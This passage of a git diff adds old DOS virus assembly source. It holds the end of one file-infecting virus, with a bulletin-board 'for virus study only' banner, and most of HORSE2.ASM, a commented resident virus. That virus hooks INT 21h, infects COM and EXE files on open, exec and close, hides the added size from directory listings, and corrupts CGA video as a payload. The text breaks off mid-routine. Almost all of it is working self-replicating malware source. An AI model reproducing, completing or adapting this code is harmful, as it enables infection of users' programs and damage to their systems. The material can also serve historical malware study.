+ pop si + pop dx + pop cx + pop bx + pop ax + +Go_out: + + jmp dword ptr cs:[current_21h-adjust] ;go to the old int 21 + +create_: + + or bl,bl ;Create file? + jnz Return_Control + mov dx,si + jmp Function_4Bh + +ren_FCB: + + cld + inc dx + mov si,dx + mov di,offset buffer-adjust + push di + push cs + pop es ;Convert FCB format Fname into ASCIIZ string + mov cx,8 + rep movsb + mov al,'.' + stosb + mov cx,3 + rep movsb + sub al,al + stosb + pop dx + push cs + pop ds + jmp Function_4Bh + +create: + +; cmp word ptr cs:[handle-adjust],0ffff +; jne Go_out + + call Call_Original_INT_21h + jc Error + mov word ptr cs:[handle-adjust],ax + jnc Exit_ +Error: + mov word ptr cs:[handle-adjust],0ffff ;Useless +Exit_: +; retf 2 + db 0ca,2,0 + +close_: + cmp word ptr cs:[handle-adjust],0ffff + je Return_Control + cmp bx,word ptr cs:[handle-adjust] + jne Return_Control + + mov ah,45 + call Infect_It + mov word ptr cs:[handle-adjust],0ffff + jmp Return_Control + +Function_4Bh: + + mov ax,3d00h +open: + call Infect_It + jmp Return_Control + +;****************************************** +; * +; This infects the programs... * +; * +;****************************************** + +Infect_It: + + call Call_Original_INT_21h ;this is the infecting part + jnc No_error + ret + +No_error: + + xchg ax,bp + mov byte ptr cs:[flag-adjust],0 + mov ah,54 + call Call_Original_INT_21h + mov byte ptr cs:[veri-adjust],al + cmp al,1 ;Switch off verify... + jne Go_On_Setting + mov ax,2e00 + call Call_Original_INT_21h + +Go_On_Setting: + + push cs + push cs + pop ds + pop es + mov dx,offset DOS_13h-adjust + mov bx,dx ;Set New DOS int 13h + mov ah,13 + call Call_Original_INT_2Fh + + mov ax,3513 + call Call_Original_INT_21h + push bx + push es + + mov word ptr cs:[current_13h-adjust],bx + mov word ptr cs:[current_13h-adjust+2],es + + mov ah,25 + mov dx,INT_13h_entry-adjust ;Set int 13h + push cs + pop ds + call Call_Original_INT_21h + + mov ax,3524 + call Call_Original_INT_21h + push bx + push es + + mov ah,25 + mov dx,INT_24h_entry-adjust ;Set int 24h (Useless maybe...). + call Call_Original_INT_21h + + xchg bx,bp + push bx + mov ax,1220 + call Call_Original_INT_2Fh + mov bl,es:[di] ;Remember the good old V512 ? + mov ax,1216 + call Call_Original_INT_2Fh + pop bx + add di,11 + + mov byte ptr es:[di-15d],2 + mov ax,es:[di] + mov dx,es:[di+2] + cmp ax,Virus_lenght+1 + sbb dx,0 + jnb Go_on + jmp close +Go_on: + cmp byte ptr cs:[function-adjust],3dh + je Scan_name + cmp byte ptr cs:[function-adjust],6ch + jne Dont_Scan_Name + +Scan_name: + + push di + add di,0f + mov si,offset fname-adjust ;wasn't that the last opened file? + cld + mov cx,8+3 + rep cmpsb + pop di + jne Dont_Scan_Name + jmp close + +Dont_Scan_Name: + + cmp es:[di+18],'MO' + jne Check_For_EXE ;check for .COM file + cmp byte ptr es:[di+17],'C' + jne Check_For_EXE + jmp com + +Check_For_EXE: + + cmp es:[di+18],'EX' + jne Not_good ;check for .EXE file + cmp byte ptr es:[di+17],'E' + je Check_For_Valid_EXE + +Not_good: + + jmp close + +Check_For_Valid_EXE: + + call Read_First_18 + cmp word ptr [si],'ZM' + je Valid_EXE ;check for valid .EXE file + cmp word ptr [si],'MZ' + je Valid_EXE + jmp close + + Valid_EXE: + + cmp word ptr [si+0c],0ffff ;only low-mem .EXE + je Low_Mem + jmp close + +Low_Mem: + + mov cx,[si+16] + add cx,[si+8] ;Something common with EDDIE.. + mov ax,10 + mul cx + add ax,[si+14] + adc dx,0 + mov cx,es:[di] + sub cx,ax + xchg cx,ax + mov cx,es:[di+2] + sbb cx,dx + or cx,cx + jnz Not_Infected_EXE ;infected? + cmp ax,(endcode-Start_Virus) + jne Not_Infected_EXE + jmp close + +Not_Infected_EXE: + + mov ax,[si+10] + mov [SP_save-adjust],ax + mov ax,[si+0e] + mov [SS_save-adjust],ax + mov ax,[si+14] + mov [IP_save-adjust],ax + mov ax,[si+16] + mov [CS_save-adjust],ax ;set the new header + mov ax,es:[di] + mov dx,es:[di+2] + + add ax,Virus_lenght + adc dx,0 + mov cx,200 ;(C) by Lubo & Jan... + div cx + mov [si+2],dx + or dx,dx + jz OK_MOD + inc ax + +OK_MOD: + mov [si+4],ax + mov ax,es:[di] + mov dx,es:[di+2] + + mov cx,4 + push ax + +Compute: + + shr dx,1 + rcr ax,1 + loop Compute + pop dx + and dx,0f + + sub ax,[si+8] + add dx,Start_Virus-adjust + adc ax,0 + mov [si+14],dx + mov [si+16],ax + add ax,(Virus_lenght)/16d+1 + mov [si+0eh],ax + mov [si+10],100 + write: + mov ax,5700 + call Call_Original_INT_21h + push cx + push dx + + sub cx,cx + mov es:[di+4],cx + mov es:[di+6],cx + mov cl,20 + xchg cl,byte ptr es:[di-0dh] + push cx + mov ah,40 ;this writes the first few bytes and glues the virus + mov dx,buffer-adjust + mov cx,18 + + call Call_Original_INT_21h + mov ax,es:[di] + mov es:[di+4],ax + mov ax,es:[di+2] + mov es:[di+6],ax + call Check_For_COMMAND ;(C) + jne Dont_Adjust_Size + sub es:[di+4],Virus_lenght + sbb es:[di+6],0 ;??????????????????????????????? + +Dont_Adjust_Size: + + mov ah,40 + sub dx,dx + mov cx,Virus_lenght + call Call_Original_INT_21h + + pop cx + mov byte ptr es:[di-0dh],cl + pop dx + pop cx + + cmp byte ptr cs:[flag-adjust],0ff + je Set_Time_and_Date +exit: + call Check_For_COMMAND + je Set_Time_and_Date + and cl,11100000b + or cl,60d/2 + +Set_Time_and_Date: + + mov ax,5701 + call Call_Original_INT_21h +close: + + mov ah,3e + call Call_Original_INT_21h + push es + pop ds + mov si,di + add si,0f + mov di,fname-adjust + push cs + pop es + mov cx,8+3 ;save the fname to a quit place + cld + rep movsb + push cs + pop ds + + cmp byte ptr cs:[flag-adjust],0ff + jne Dont_Clear_Buffers + mov ah,0dh ;if error occured->clear disk buffers + + call Call_Original_INT_21h + +Dont_Clear_Buffers: + + les bx,[org_13h-adjust] + lds dx,[org_13h-adjust] + mov ah,13 + call Call_Original_INT_2Fh + + cmp byte ptr cs:[veri-adjust],1 + jne Restore_Vectors + mov ax,2e01 + + call Call_Original_INT_21h + +Restore_Vectors: + + sub ax,ax + mov ds,ax + pop [24*4+2] + pop [24*4] + pop [13*4+2] + pop [13*4] ;restore vectors and return + ret + com: + test byte ptr es:[di-0dh],4 ;if it is a system file + jnz Not_OK_COM_File ;I had some problems here with + ;V1160 & V1776 (with the ball) + cmp es:[di],65535d-Virus_lenght*2-100 + ja Not_OK_COM_File + + call Read_First_18 + cmp byte ptr [si],0E9 + jne OK_COM_file + mov ax,es:[di] + sub ax,[si+1] ;infected? + cmp ax,(endcode-Start_Virus+3) + je Not_OK_COM_File + +OK_COM_file: + + mov word ptr [SS_save-adjust],0FFFF + push si + lodsb + mov word ptr [First_3-adjust],ax + lodsw + mov word ptr [First_3-adjust+1],ax + pop si + mov ax,es:[di] + add ax,Start_Virus-adjust-3 + call Check_For_COMMAND + jne Normally + sub ax,Virus_lenght + +Normally: + + mov byte ptr [si],0E9 + mov word ptr [si+1],ax + jmp write + +Not_OK_COM_File: + + jmp close + +Set_Vectors: + + sub ax,ax + mov ds,ax + + push [1*4] + push [1*4+2] ; <= (C) by N.Hacker. + + pushf + pushf + pushf + pushf + + mov byte ptr cs:[flag-adjust],ah + mov byte ptr cs:[my_flag-adjust],ah + mov word ptr cs:[limit-adjust],300 + mov word ptr cs:[mem_-adjust],org_21h-adjust + + mov [1*4],offset trap-adjust + mov [1*4+2],cs + + call set_trace + + mov ax,3521 + + call dword ptr [21h*4] + + + mov byte ptr cs:[flag-adjust],0 + mov word ptr cs:[mem_-adjust],org_2fh-adjust + + call set_trace + + mov ax,1200 + + call dword ptr [2fh*4] ;do trace int 2f + + + mov byte ptr cs:[flag-adjust],0 + mov byte ptr cs:[my_flag-adjust],0FF + mov word ptr cs:[limit-adjust],0C800 + mov word ptr cs:[mem_-adjust],org_13h-adjust + + call set_trace + + sub ax,ax + mov dl,al + + call dword ptr [13h*4] ;do trace int 13 + + mov byte ptr cs:[flag-adjust],0 + mov word ptr cs:[limit-adjust],0F000 + mov word ptr cs:[mem_-adjust],Floppy_org_13h-adjust + + call set_trace + + sub ax,ax + mov dl,al + + call dword ptr [13h*4] + + pop [1*4+2] + pop [1*4] + + les ax,[21*4] + mov word ptr cs:[current_21h-adjust],ax ;get old int 21 + mov word ptr cs:[current_21h-adjust+2],es + mov [21*4], INT_21h_Entry_Point-adjust ;set it + mov [21*4+2],cs + retf + +set_trace: + + pushf + pop ax + or ax,100 + push ax + popf + ret + +trap: + push bp + mov bp,sp + push bx + push di + cmp byte ptr cs:[flag-adjust],0ff + je off + mov di,word ptr cs:[mem_-adjust] + mov bx,word ptr cs:[limit-adjust] + cmp [bp+4],bx + pushf + cmp word ptr cs:[my_flag-adjust],0ff + jne It_Is_JA + + popf + jb Go_out_of_trap + jmp It_Is_JB + +It_Is_JA: + + popf + ja Go_out_of_trap + +It_Is_JB: + + mov bx,[bp+2] + mov word ptr cs:[di],bx + mov bx,[bp+4] + mov word ptr cs:[di+2],bx + mov byte ptr cs:[flag-adjust],0ff +off: + and [bp+6],0feff + +Go_out_of_trap: + + pop di + pop bx + pop bp + iret + +Call_Original_INT_21h: + + pushf + call dword ptr cs:[org_21h-adjust] + ret + +Call_Original_INT_2Fh: + + pushf + call dword ptr cs:[org_2fh-adjust] + ret + +INT_24h_entry: + + mov al,3 + iret + +;************************** +; (C) by N.Hacker. * +; (bellow) * +;************************** + +INT_13h_entry: + + mov byte ptr cs:[next_flag-adjust],0 + + cmp ah,2 + jne Other + + cmp byte ptr cs:[function-adjust],03Eh + jne Dont_hide + + dec byte ptr cs:[next_flag-adjust] + inc ah + jmp Dont_hide + +Other: + + cmp ah,3 + jne Dont_hide + + cmp byte ptr cs:[flag-adjust],0ff + je no_error_ + + cmp byte ptr cs:[function-adjust],03Eh + je Dont_hide + + inc byte ptr cs:[next_flag-adjust] + dec ah + +Dont_hide: + + pushf + call dword ptr cs:[current_13h-adjust] + jnc no_error_ + mov byte ptr cs:[flag-adjust],0ff + +no_error_: + + clc + db 0ca,02,0 ;retf 2 + + +DOS_13h: + + cmp byte ptr cs:[next_flag-adjust],0 + je OK + + cmp ah,2 + je Next + cmp ah,3 + jne OK +Next: + cmp byte ptr cs:[next_flag-adjust],1 + jne Read + inc ah + jne OK +Read: + + dec ah +OK: + test dl,80 + jz Floppy + jmp dword ptr cs:[org_13h-adjust] +Floppy: + jmp dword ptr cs:[Floppy_org_13h-adjust] + + +Read_First_18: + + sub ax,ax + mov es:[di+4],ax + mov es:[di+6],ax + mov ah,3f + mov cx,18 + mov dx,buffer-adjust + mov si,dx + call Call_Original_INT_21h + ret + +Check_For_COMMAND: + + cmp es:[di+0f],'OC' + jne Not_COMMAND + cmp es:[di+11],'MM' + jne Not_COMMAND + cmp es:[di+13],'NA' + jne Not_COMMAND ;check for command.com + cmp es:[di+15],' D' + jne Not_COMMAND + cmp es:[di+17],'OC' + jne Not_COMMAND + cmp byte ptr es:[di+19],'M' + +Not_COMMAND: + + ret + +endcode label word + + current_21h dd ? + null dd ? ;I forgot to remove this variable... + current_13h dd ? + org_2fh dd ? + org_13h dd ? + org_21h dd ? + Floppy_org_13h dd ? + flag db ? ;0ff if error occures + veri db ? + handle dw ? + fname db 8+3 dup (?) + function db ? + my_flag db ? + limit dw ? + mem_ dw ? + next_flag db ? + +buffer label word + +;****************************************************************************; +; ; +; -=][][][][][][][][][][][][][][][=- ; +; -=] P E R F E C T C R I M E [=- ; +; -=] +31.(o)79.426o79 [=- ; +; -=] [=- ; +; -=] For All Your H/P/A/V Files [=- ; +; -=] SysOp: Peter Venkman [=- ; +; -=] [=- ; +; -=] +31.(o)79.426o79 [=- ; +; -=] P E R F E C T C R I M E [=- ; +; -=][][][][][][][][][][][][][][][=- ; +; ; +; *** NOT FOR GENERAL DISTRIBUTION *** ; +; ; +; This File is for the Purpose of Virus Study Only! It Should not be Passed ; +; Around Among the General Public. It Will be Very Useful for Learning how ; +; Viruses Work and Propagate. But Anybody With Access to an Assembler can ; +; Turn it Into a Working Virus and Anybody With a bit of Assembly Coding ; +; Experience can Turn it Into a far More Malevolent Program Than it Already ; +; Is. Keep This Code in Responsible Hands! ; +; ; +;****************************************************************************; + +;; +;> and Remember Don't Forget to Call <; +;> ARRESTED DEVELOPMENT +31.79.426o79 H/P/A/V/AV/? <; +;; + diff --git a/h/HORSE2.ASM b/h/HORSE2.ASM new file mode 100755 index 0000000..a8a52df --- /dev/null +++ b/h/HORSE2.ASM @@ -0,0 +1,558 @@ + .model tiny + .code + .radix 16 + +ASSUME DS:CODE,SS:CODE,CS:CODE,ES:CODE + + org 0100h + CALL EntryPoint ; Call virus entry point + +; Here begin virus by himself + +EntryPoint: + POP BP ; Restore in BP address of data area + PUSH BX ; Save BX + PUSH CX ; Save CX + PUSH ES ; Save ES + PUSH DS ; Save DS + CLC ; Clear carry flag + MOV AX,4B4Bh ; Load AX with self-check word + INT 21 ; Call int21 + JC Install ; If virus is loaded CF==0 + + PUSH DS ; Save DS + PUSH CS ; Set DS point to PSP + POP DS ; + MOV SI,DI ; SI=DI= virus CODE begin + SUB SI,0003 ; include CALL in the beginning + ADD SI,BP ; Adjust different offsets + MOV CX,047Ch ; Compare virus code only + CLD ; Clear direction + REP CMPSB ; Repeat until equal + POP DS ; Restore DS + PUSH DS ; Set ES = DS + POP ES + JZ ReturnControl ; If virus -> return to file + +Install: + MOV CS:[offset FunCounter+BP],3456 ; Load generation counter + MOV AX,DS ; Move PSP segment in AX + DEC AX ; Compute MCB of PSP + + MOV DS,AX ; Set DS to MCB + SUB [0003],0050 ; "Steal" some memory + MOV AX,ES:[0002] ; ???? + SUB AX,0050 ; ???? + MOV ES:[0002],AX ; + PUSH AX ; Save new virus segment + SUB DI,DI ; DI=0 + + MOV SI,BP ; SI point to virus begin + SUB SI,0003 ; Adjust CALL in the beginning + MOV DS,DI ; DS set to 0 + MOV BX,Offset int21handler ; Load BX with int 21 handler + XCHG BX,[0084] ; and set it in vector table + MOV CS:[BP+offset Int21off],bx ; Save old vector offset + XCHG AX,[0086] ; Set new int21 seg & get old segment + MOV CS:[BP+offset Int21seg],ax ; Save old vector segment + POP ES ; Set ES point to new virus seg + PUSH CS ; Set DS point to current virus seg (PSP) + POP DS ; + MOV CX,offset LastByte ; Will move all virus + REP MOVSB ; Move virus in hi memory (as Eddie) + + MOV AX,4BB4h ; Int21 is grabbed by virus + INT 21 ; This SetUp virus function +ReturnControl: + POP DS ; Restore DS + POP ES ; Restore ES + CMP byte ptr CS:[BP+ComFlag],43 ; Check if host file is COM + JZ ReturnCOM ; If COM -> exit COM +ReturnEXE: + MOV AX,CS:[BP+First3] ; Load AX with old IP + MOV DX,CS:[BP+First3+2] ; Load AX with old CS + MOV CX,CS ; Load CX with current run segment + SUB CX,CS:[BP+06] ; Calculate PSP+10h + MOV DI,CX ; Save result in DI + ADD DX,CX ; In DX is now start segment + POP CX ; ??? + POP BX ; ??? + CLI ; Disable interrupts + ADD DI,CS:[BP+04] + MOV SS,DI + STI +DoReturn: ; 009B + PUSH DX ; Push entry segment + PUSH AX ; Push entry offset + + SUB AX,AX ; Clear registers + SUB DX,DX ; Clear of AX may cause trouble + SUB BP,BP ; with several programs (as DISKCOPY) + SUB SI,SI ; AX must be saved on entry and restored + SUB DI,DI ; + RETF ; Return control to EXE file + +ReturnCOM: + POP CX ; ??? + POP BX ; ??? + MOV AX,[BP+First3] ; Load AX with first 2 instr + MOV [0100],AX ; and restore them at file begin + MOV AX,[BP+First3+2] ; Load AX with second 2 instr + MOV [0102],AX ; and restore them at file begin + MOV AX,0100 ; Set AX to entry offset + MOV DX,CS ; Set DX to entry segment + JMP short DoReturn ; Go to return code + +FindFirstNext: + PUSHF ; Save flags + CALL dword ptr CS:[offset Dos21off] ; Call DOS + PUSH BX ; Save rezult of searching + PUSH ES + PUSH SI + PUSH AX + MOV SI,DX ; DS:SI point to FCB with search argument + CMP byte ptr [SI],0FFh ; Check for Extended FCB + JNZ NoDirCommand ; If FCB not extended then command is not DIR + MOV AH,2Fh ; Get DTA address; Result of search is in DTA + INT 21 + MOV AX,ES:[BX+1Eh] ; Load file time to AX + AND AX,001Fh ; Mask seconds + CMP AX,001Fh ; Check if file seconds are 62 + JNZ NoDirCommand ; If seconds!=62 -> file not infected + CMP ES:[BX+26h],0000 ; Check file size, hi byte + JNZ AdjustSize ; If file bigger than 64K -> immediate adjust + CMP ES:[BX+24h],offset LastCode ; Check low byte of file size + JC NoDirCommand ; If file is less than virus -> skip adjust +AdjustSize: + SUB ES:[BX+24h],offset LastCode ; Decrement file size with virus size + SBB ES:[BX+26h],0000 ; Decrement hi byte of size if need + +NoDirCommand: + POP AX ; Restore registers + POP SI + POP ES + POP BX + IRET ; Return to caller + +HereIam: + PUSH CS ; If AX==4B4B -> so virus call me + POP ES ; Set ES to virus segment + MOV DI,000C ; Set DI to virus code begin + IRET ; Return to caller +Int21handler: + CMP AH,11h ; If function is FindFirst + JZ FindFirstNext ; If so -> will adjust file size + CMP AH,12h ; If function is FindNext + JZ FindFirstNext ; If so -> will adjust file size + CMP AX,4B4Bh ; If AX==4B4B -> Identification + JZ HereIam ; function + CMP AX,4BB4h ; Setup function + JNZ Continue ; Continue checking of AH + JMP SetUp +Continue: + PUSH AX ; Save important registers + PUSH BX + PUSH CX + PUSH DX + PUSH SI + PUSH DI + PUSH BP + PUSH DS + PUSH ES + + CMP AH,3Eh ; If function CLOSE file handle + JZ CloseFile ; + CMP AX,4B00h ; If function is EXEC file + MOV AH,3Dh ; If so set AH to OPEN function + JZ Infect ; and infect file +ErrorProcess: + MOV AX,CS:[offset FunCounter] ; Load nomer pored na function + CMP AX,0000 ; If counter is != 0 + JNZ AdjustFunCount ; then only decrease counter + JMP VideoFuck ; else go to video fuck +AdjustFunCount: + DEC AX + MOV CS:[04A0h],AX +EndInt21: + POP ES ; Restore important registers + POP DS + POP BP + POP DI + POP SI + POP DX + POP CX + POP BX + POP AX + JMP dword ptr CS:[offset Int21off] ; Jump to DOS + + DB 9A ; ?????? + +CloseFile: + MOV AH,45 +Infect: + CALL CallDOS ; Call DOS int 21 + JC ErrorProcess ; If error -> Stop processing + MOV BP,AX ; Save file handle in BP + MOV AX,3508 ; Get timer interrupt + CALL CallDOS + MOV CS:[offset TimerOff],BX ; and save it in variable + MOV CS:[offset TimerSeg],ES + PUSH BX ; and to stack + PUSH ES + MOV AL,21 ; Get in21 + CALL CallDOS + PUSH BX ; and save it on stack + PUSH ES + MOV AL,24 ; Get critical error int + CALL CallDOS + PUSH BX ; and store it on stack + PUSH ES + MOV AL,13 ; Get int 13 (disk I/O) + CALL CallDOS + PUSH BX ; and save it on stack + PUSH ES + MOV AH,25 ; Now he will SET vectors + LDS DX,dword ptr CS:[offset Int13off] ; Load int13 bios address + CALL CallDOS ; Set it in vector table + MOV AL,21 + LDS DX,dword ptr CS:[offset Dos21off] ; Load int21 dos address + CALL CallDOS ; Set in vector table + MOV AL,24 ; Will set critical error handler + PUSH CS + POP DS ; Set DS point to vurus segment + MOV DX,offset CriticalError ; Load its own critical handler + INT 21 ; Set in vector table + MOV AL,08 ; Set new timer + MOV DX,offset TimerHandler ; Load its own timer + INT 21 ; Set in vector table + MOV BX,BP ; Restore file handle from BP to BX + PUSH BX ; Save handle on stack + MOV AX,1220 ; Get handle table number + CALL CallInt2F ; Via int2F (undocumented) + MOV BL,ES:[DI] ; Load table number in BL + MOV AX,1216 ; Get table address + CALL CallInt2F ; Via int2F (undocumented) + POP BX ; Restore file handle + ADD DI,0011 ; ES:DI point to file size + MOV byte ptr ES:[DI-0Fh],02 ; Set file open mode (3Dxx) to Read/Write + MOV AX,ES:[DI] ; Load DX:AX with file size + MOV DX,ES:[DI+02] ; + CMP DX,0000 ; Check if file is less than 64k + JNZ BigEnough ; If less + CMP AX,offset LastCode ; Then check if file is less than virus + JNC BigEnough ; If file is larger than virus -> fuck it + JMP SkipFile ; else skip file +BigEnough: + MOV [offset FileSizeLow],AX ; Save file size in variables + MOV [offset FileSizeHi],DX + SUB AX,offset VirusAuthor-offset EndAuthor ; Decrease file size with sign size + SBB DX,0000 ; + MOV ES:[DI+04],AX ; Set current file position to point + MOV ES:[DI+06],DX ; Virus sign + PUSH DI ; Save table handle table address + PUSH ES ; + MOV AH,3F ; Will read from file + MOV CX,offset EndAuthor-offset VirusAuthor + MOV DX,offset LastByte ; Load DS:DX point AFTER virus + MOV DI,DX ; DI point this area either + INT 21 ; Read file + MOV SI,Offset VirusAuthor ; DS:SI point virus sign + MOV CX,offset EndAuthor-offset VirusAuthor ; Load CX sign size + PUSH CS ; ES:DI point to readed byte + POP ES ; + REP CMPSB ; Compare virus sign with readed bytes + POP ES ; Restore handle table address + POP DI ; + JNZ CleanFile ; If not equal -> file is clean + JMP SkipFile ; Else file infected -> skip it +CleanFile: MOV ES:[DI+04],0000 ; Set file pointer to 0L + MOV ES:[DI+06],0000 + MOV AH,3F ; Will read EXE header + MOV CX,001B ; Size of EXE header + MOV DX,offset LastByte ; Read in buffer AFTER virus + MOV SI,DX ; Set DS:SI point to readed header + INT 21 ; Read header + JNC NoErrorHeader ; If no error in read -> go ahead + JMP SkipFile ; If error occur -> skip file +NoErrorHeader: CMP ES:[DI+18],4D4F ; Check in table if file is ?OM + JNZ NoComFile + JMP InfectCOM +NoComFile: CMP ES:[DI+18],4558 ; Check for ?XE file + JZ CheckForEXE ; If so -> infect it + JMP SkipFile ; Else skip file + +CheckForEXE: CMP ES:[DI+17],45 ; Check if file is realy an EXE-named + JZ CheckEXEsign ; If so -> check for MZ,ZM + JMP SkipFile ; Else skip file + +CheckEXEsign: CMP [SI],5A4Dh ; Check for MZ + JZ InfectEXE ; If so -> infect file + CMP [SI],4D5Ah ; Check for ZM + JZ InfectEXE ; If so -> infect file + JMP SkipFile ; Otherwise -> skip file + +InfectEXE: MOV byte ptr [ComFlag],45h ; Set file type flag to EXE + MOV AX,[SI+0Eh] ; Load AX with EXE file SS + MOV [SSegment],AX ; and save it + MOV AX,[SI+14h] ; Load AX with EXE header IP + MOV [IPointer],AX ; and save it + MOV AX,[SI+16h] ; Load AX with EXE header CS + MOV [CSegment],AX ; And save it + MOV DX,offset LastCode ; Load DX with virus CODE size + PUSH DX ; Save it to stack + MOV CX,9h ; Compute virus size in + SHR DX,CL ; 512 pages + ADD [SI+04h],DX ; Increase EXE file header size field + ; with virus pages + POP DX ; Restore virus size in DX + AND DX,01FFh ; Compute reminder from VirusSize/512 + ADD DX,[SI+02] ; Save value in EXE header + CMP DX,0200 ; Check virus reminder + JL NoAdjustRem ; If less than 512 -> no adjust + SUB DX,0200 ; Else decrease reminder + INC word ptr [SI+04] ; Increase EXE header page count +NoAdjustRem: + MOV [SI+02],DX ; Save correct reminder in EXE header + MOV AX,[SI+08] ; Load AX with file size in paragraphs + SUB DX,DX ; Set DX to Zero + + CALL LongMultiple16 ; Get DX:AX file size in bytes + SUB [offset FileSizeLow],AX ; Correct saved file size + SBB [offset FileSizeHi],DX + MOV AX,[FileSizeLow] ; Load DX:AX with corrected file size + MOV DX,[offset FileSizeHi] + CALL LongMultiple16 ; DX:AX *= 0x10 + MOV CX,0008 ; Calculate new entry CS:IP + SHL DX,CL ; DX/=0x100 + MOV CX,0004 + SHR AX,CL ; AX/=0x10 + MOV [SI+14],AX ; Set entry CS:IP to EXE header + MOV [SI+16],DX + MOV [NewCS],DX ; Save new entry CS + ADD DX,0200 ; Calculate new entry SS + MOV [SI+0E],DX ; Store it to EXE header + +DoInfect: + MOV ES:[DI+04],0000 ; Set file pointer to 0L + MOV ES:[DI+06],0000 + PUSH ES:[DI-02] ; Save file date/time on stack + PUSH ES:[DI-04] + SUB CX,CX ; Set CX to 0 + XCHG CX,ES:[DI-0Dh] ; Load CX file attrib/set file attrib to 0 + PUSH CX ; Save file attrib to stack + MOV AH,40 ; Write file + MOV DX,offset LastByte ; EXE header + MOV CX,001B ; Rewrite modified EXE header + INT 21 ; Do write + JC BadWrite ; If error skip file + MOV AX,ES:[DI] ; Set file pointer + MOV ES:[DI+04],AX + MOV AX,ES:[DI+02] ; to end of file + MOV ES:[DI+06],AX ; + MOV AH,40 ; Will write + SUB DX,DX ; Virus offset + MOV CX,offset LastCode ; Virus size + INT 21 ; Write virus to EXE file + +BadWrite: + POP CX ; Restore file attrib from stack + MOV ES:[DI-0Dh],CX ; Set attrib of file + POP CX ; Restore file date/time from stack + POP DX + OR byte ptr ES:[DI-0Bh],40 ; Set DO NOT UPDATE TIME flag in table + JC NoFuckTime ; If write error -> Set normal time + OR CX,001F ; Else set file seconds to 62 +NoFuckTime: + MOV AX,5701 ; Set file date/time + INT 21 ; Via int21 +SkipFile: + MOV AH,3E ; CloseFile + INT 21 + OR byte ptr ES:[DI-0Ch],40 ; ???? + SUB AX,AX ; Set DS to 0 + MOV DS,AX + POP AX ; Restore int 13 seg + MOV [004E],AX ; Restore vector 13 seg + POP AX ; Restore int 13 off + MOV [004C],AX ; Restore vector 13 off + POP AX ; Restore int 24 seg + MOV [0092],AX ; Restore vector 24 seg + POP AX ; Restore int 24 off + MOV [0090],AX ; Restore vector 24 off + POP AX ; Restore int 21 seg + MOV [0086],AX ; Restore vector 21 seg + POP AX ; Restore int 21 off + MOV [0084],AX ; Restore vector 21 off + POP AX ; Restore int 8 seg + MOV [0022],AX ; Restore vector 8 seg + POP AX ; Restore int 8 off + MOV [0020],AX ; Restore vector 0 off + JMP ErrorProcess ; Update counter +InfectCom: + TEST byte ptr ES:[DI-0Dh],04 ; Check for SYSTEM file + JNZ OkComFile ; If file IS system -> Damage file ????? + PUSH SI ; Save buffer offset + CMP ES:[DI+17],43 ; Check if file ext begin with 'C' + JNZ OkComFile ; If no -> damage file + MOV byte ptr [ComFlag],43 ; Set file type flag to COM + LODSW ; Load first 2 bytes of file + MOV CS:[First3],AX ; And save them + LODSW ; Load seconf 2 bytes of file + MOV CS:[First3+2],AX ; And save them + MOV AX,ES:[DI] ; Load AX with file size + CMP AX,0FA76h ; Check file size + POP SI ; Restore buffer offset + JC OkComFile ; If file is less than 64118 bytes -> OK infect + JMP short SkipFile ; else skip file +OkComFile: + SUB AX,0003 ; Calculate jump argument + MOV byte ptr [SI],0E9h ; Set first instruction to near JMP + MOV [SI+01],AX ; Store JMP argument + JMP DoInfect ; Go write buffer + +LongMultiple16: + PUSH CX ; Save CX + MOV CX,0004 ; Will repeat 4 times +DoMult: + SHL AX,1 ; Mult DX:AX * 2 + RCL DX,1 ; + LOOP DoMult ; Repeat 4 times -> 2^4 = 16 + POP CX ; Restore CX + RET ; Return to caller +SetUp: + MOV AH,52 ; Get DOS's table of table address + INT 21 ; in ES:BX + MOV CS:[Offset TableSegment],es ; Save table segment + ; Virus treat this segment as DOS segment + ; He assume int21 seg == to DOS segment + ; That's why virus will fail on DOS 5.X + CLI ; Disable interrupts + SUB AX,AX ; Set AX to 0 + MOV DS,AX ; Set DS point to interrupt vectors + MOV [0004],offset Debugger ; Set vector 1 (trap) offset + MOV [0006],CS ; ; Set vector 1 (trap) seg + MOV AX,[00BC] ; Load int2F off + MOV CS:[offset Int2Foff],AX ; and save it + MOV AX,[00BE] ; Load int2F seg + MOV CS:[offset Int2Fseg],AX ; and save it + STI ; Enable interrupts + PUSHF ; Save flags + PUSHF ; Save flags + POP AX ; Get flags in AX + OR AX,0100 ; Set TF to 1 (trace mode) + PUSH AX ; Put flags back to stack + POPF ; Begin trace + SUB AX,AX ; AX = 0 + DEC AH ; AX = FF00 ??? + CALL dword ptr [0084] ; Call DOS (trace mode active) + MOV SI,0004 ; SI = 4 + MOV DS,SI ; DS = SI = 4 + MOV AH,30 ; Get DOS version + INT 21 ; Via int21 + CMP AX,1E03 ; Check DOS 3.30 + LES AX,[SI+08] ; Load ES:AX with int13 address + JB OkInt13 ; If DOS vers < 3.30 -> ignore BIOS address load/check + LES AX,[0770+SI] ; then load ES:DX with BIOS address of int13 + ; simulate int2F, AH=13 + MOV BX,ES ; BX:AX int13 BIOS address + CMP BX,0C800h ; If int13 seg >= C800 + JAE OkInt13 ; Then address is in BIOS, all OK + + CLI ; else HALT system + HLT +OkInt13: + MOV CS:[offset Int13off],AX ; Save in13 address + MOV CS:[offset Int13seg],ES + IRET ; Return to caller, setup complete + +Debugger: + PUSH BP ; Save BP + MOV BP,SP ; BP point to stack top + PUSH BX ; Save BX + MOV BX,CS:[offset TableSegment] ; Load BX with DOS segment + CMP SS:[BP+04],BX ; Check debugged address + JNZ ContinueDebug ; If not in DOS -> continue + MOV BX,SS:[BP+02] ; else load BX with int21 off + MOV CS:[offset Dos21off],BX ; and save it + AND SS:[BP+06],0FEFFh ; Clear trap flag +ContinueDebug: + POP BX ; Restore BX + POP BP ; Restore BP + IRET ; Continue trace if require or + ; continue int21 execution without trace + +; Next subroutine fuck you CGA display (don't affect EGA). +; Fucking result could be fix by dos MODE command + +VideoFuck: + MOV DX,03D4h ; Select CGA register selector + MOV AL,02 ; Select CRT register 2 (horiz sync) + OUT DX,AL ; Do selection + MOV AL,0FFh ; New sync value + MOV DX,03D5h ; Select CGA register value writer + ; This could be INC DX; That save 1 byte + OUT DX,AL ; Fuck horiz sync + JMP EndInt21 ; Terminate int21 request +CallDOS: + PUSHF ; Save flags + CALL dword ptr CS:[offset Dos21off] ; Call ORIGINAL int21 + RET ; Return to caller +CallInt2F: + PUSHF ; Save flags + CALL dword ptr CS:[offset Int2Foff] ; Call SAVED int2F + RET ; Return to caller +TimerHandler: + PUSHF ; Save flags + CALL dword ptr CS:[offset TimerOff] ; Call original timer + PUSH AX ; Save AX + 